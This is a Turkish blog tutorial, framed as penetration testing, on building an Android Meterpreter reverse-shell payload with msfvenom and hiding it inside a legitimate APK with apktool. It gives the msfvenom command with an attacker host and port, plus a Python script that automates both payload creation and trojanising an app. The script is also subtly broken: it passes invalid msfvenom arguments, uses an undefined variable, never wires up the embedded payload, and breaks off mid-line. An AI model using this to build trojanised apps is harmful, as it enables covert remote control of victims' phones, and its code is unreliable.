Android cihazlar, çeşitli saldırı yöntemlerine karşı oldukça hassas olabilir. Bu nedenle, Android için payload (zarar verme yükü) oluşturma, penetrasyon testleri ve güvenlik araştırmalarında önemli bir konudur. Bu makalede, Android cihazlarda çalışacak bir payload nasıl oluşturulur ve bu payload, gerçek bir APK dosyasına nasıl entegre edilir, bunları adım adım inceleyeceğiz.

Payload Nedir?

Payload, bir siber saldırının etkisini gösteren ve sistemdeki çeşitli açıkları kullanarak kötü amaçlı eylemler gerçekleştiren yazılımdır. Android cihazlar için payload genellikle msfvenom aracı ile oluşturulur. Bu araç, Metasploit framework’ünün bir parçası olup, tersine bağlantılar (reverse shells) veya metrepreter oturumları gibi çeşitli payload türleri üretir.

Android Payload Nasıl Oluşturulur?

Android için payload oluştururken kullanılan yaygın araçlardan biri msfvenom’dur. Bu araç, Android cihazlarla etkileşim kuracak zararlı APK dosyaları üretmek için kullanılır. Payload, genellikle bir tersine bağlantı (reverse shell) oluşturur ve saldırganın cihazı uzaktan kontrol etmesine olanak tanır.

    msfvenom komutu kullanılarak basit bir payload oluşturulabilir. Aşağıda bu komutun örneği verilmiştir:

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 R -o /path/to/output.apk

    Bu komut, bir Android cihazına zarar verecek olan bir meterpreter tersine bağlantı payload’ı oluşturur. LHOST (Local Host) saldırganın IP adresini, LPORT ise bağlantı için kullanılacak port numarasını belirtir.

    Payload’ı Orijinal APK Dosyasına Gömme

    Payload oluşturulduktan sonra, bu payload’ı orijinal bir APK dosyasına gömmek gerekmektedir. Bu işlem, APK’nın çalışması sırasında payload’ın gizlice çalışmasına olanak tanır. Bu işlem, orijinal APK dosyasının dekompilesi, payload’ın entegre edilmesi ve ardından APK’nın tekrar derlenmesi adımlarını içerir.

    Bunu gerçekleştirmek için apktool gibi araçlar kullanılır. apktool, APK dosyasını decompile ederek içeriğini açar ve payload’ı orijinal dosya yapısına yerleştirmenize olanak tanır.

    Android Payload Oluşturma ve Entegre Etme Scripti

    Aşağıda, Android cihazlar için payload oluşturmak ve bu payload’ı orijinal bir APK dosyasına entegre etmek için kullanılacak Python scripti bulunmaktadır. Bu script, msfvenom kullanarak payload oluşturur, ve ardından payload’ı orijinal APK dosyasına entegre eder.

    import os
    import subprocess
    import shutil
    import psutil
    import time
    from rich.console import Console
    from rich.table import Table
    import platform
    import socket
    
    def gather_device_info():
        """
        Cihazla ilgili bilgileri toplayan fonksiyon.
        """
        device_info = f"""
        Cihaz Bilgileri:
        -----------------
        Sistem: {platform.system()}
        Cihaz Adı: {platform.node()}
        İşlemci: {platform.processor()}
        IP Adresi: {socket.gethostbyname(socket.gethostname())}
        CPU Kullanımı: {psutil.cpu_percent(interval=1)}%
        Bellek Kullanımı: {psutil.virtual_memory().percent}%
        """
        return device_info
    
    def start_info_sending():
        """
        Payload cihazda çalışmaya başladığında, cihaz bilgilerini belirli aralıklarla alır.
        """
        console = Console()
        console.print("[bold green][+] Cihaz bilgilerini toplamaya başlıyoruz...[/bold green]")
        
        while True:
            device_info = gather_device_info()
            console.print(f"[bold blue]{device_info}[/bold blue]")  # Bilgileri konsola yazdır
            time.sleep(7200)  # 2 saat bekleme
    
    def create_android_payload(output_path, lhost, lport, capabilities):
        """
        Android payload oluşturmak için msfvenom kullanılır.
    
        Args:
            output_path (str): Payload APK dosyasının kaydedileceği konum.
            lhost (str): Dinleyici IP adresi.
            lport (int): Dinleyici port numarası.
            capabilities (list): Eklenmesi istenen özelliklerin listesi.
        """
        console = Console()
    
        if not output_path.endswith(".apk"):
            raise ValueError("Çıktı dosyası bir .apk uzantısına sahip olmalı.")
    
        try:
            # msfvenom komutunu hazırlama
            command = [
                "msfvenom",
                "-p", "android/meterpreter/reverse_tcp",
                f"LHOST={lhost}",
                f"LPORT={lport}",
                "R",
                "-o", output_path
            ]
    
            # Kullanıcıdan seçilen özellikleri payload'a ekleme
            for capability in capabilities:
                command.append(f"Set{capability}")
    
            console.print("[bold green][+] Android payload oluşturuluyor...[/bold green]")
            result = subprocess.run(command, capture_output=True, text=True)
    
            if result.returncode == 0:
                console.print(f"[bold green][+] Payload başarıyla oluşturuldu![/bold green]")
                console.print(f"[bold green][+] Kaydedildi: {output_path}[/bold green]")
    
                # Payload kurulduktan sonra cihaz bilgilerini toplamaya başla
                start_info_sending()  # Cihaz bilgilerini toplamaya başla
    
            else:
                console.print(f"[bold red][-] Payload oluşturulurken hata oluştu:[/bold red]")
                console.print(result.stderr)
    
        except FileNotFoundError:
            console.print("[bold red][-] msfvenom yüklenmemiş veya PATH ortam değişkeninde bulunamadı.[/bold red]")
        except Exception as e:
            console.print(f"[bold red][-] Bir hata oluştu: {e}[/bold red]")
    
    def encrypt_and_embed_payload(original_apk, payload_apk, output_apk):
        """
        Payload'ı orijinal APK'ya ekler ve şifreler.
    
        Args:
            original_apk (str): Orijinal APK dosyasının yolu.
            payload_apk (str): Payload APK dosyasının yolu.
            output_apk (str): Çıktı APK dosyasının adı.
        """
        try:
            # Orijinal APK dosyasının bulunduğu dizini al
            original_apk_dir = os.path.dirname(os.path.abspath(original_apk))
            console.print(f"[bold green]Orijinal APK dizini: {original_apk_dir}[/bold green]")
            
            # APK'yi çözümle (decompile et)
            subprocess.run(["apktool", "d", original_apk, "-o", f"{original_apk_dir}/decompiled_apk"], check=True)
    
            # Assets dizinini oluştur
            assets_path = f"{original_apk_dir}/decompiled_apk/assets"
            if not os.path.exists(assets_path):
                os.makedirs(assets_path)
    
            # Payload'ı assets dizinine kopyala
            shutil.copy(payload_apk, f"{assets_path}/payload.apk")
    
            # APK'yi yeniden paketle (rebuild et)
            subprocess.run(["apktool", "b", f"{original_apk_dir}/decompiled_apk", "-o", f"{original_apk_dir}/{output_apk}"], check=True)
    
            console.print(f"[bold green]Yeni APK başarıyla oluşturuldu: {original_apk_dir}/{output_apk}[/bold green]")
    
        except Exception as e:
            console.print(f"[bold red]Bir hata oluştu: {e}[/bold red]")
    
    def main():
        console = Console()
    
        console.print("[bold cyan]Android Payload Creator[/bold cyan]\n[cyan]=========================[/cyan]")
    
        table = Table(title="Seçenekler")
        table.add_column("Adım", justify="center")
        table.add_column("Açıklama", justify="left")
        table.add_row("1", "Payload oluştur")
        table.add_row("2", "Payload'ı orijinal APK dosyasına göm")
        console.print(table)
    
        while True:
            choice = console.input("[bold yellow]Seçiminizi yapınız (1-2 veya 'exit' ile çıkış): [/bold yellow]").strip()
    
            if choice == "exit":
                console.print("[bold green]Uygulama kapatılıyor...[/bold green]")
                break
    
            if choice == "1":
                # Payload oluşturma işlemi
                output_file = console.input("[bold yellow]Payload dosya adı (e.g., payload.apk): [/bold yellow]").strip()
                lhost = console.input("[bold yellow]LHOST (IP adresi): [/bold yellow]").strip()
                lport = console.input("[bold yellow]LPORT (port numarası): [/bold yellow]").strip()
    
                if not lport.isdigit():
                    console.print("[bold red][-] LPORT bir numara olmalıdır.[/bold red]")
                else:
                    lport = int(lport)
    
                    # Kullanıcıdan özellikleri seçmesini sağla
                    capabilities
    

    Tepkiniz ne oldu ?

    Heyecanlı
    0
    Mutlu
    0
    Aşık
    0
    Emin değilim
    0
    Şapşal
    0

    İlginizi Çekebilir

    Bir cevap bırakın

    E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

    Daha fazlası:Sızma Testleri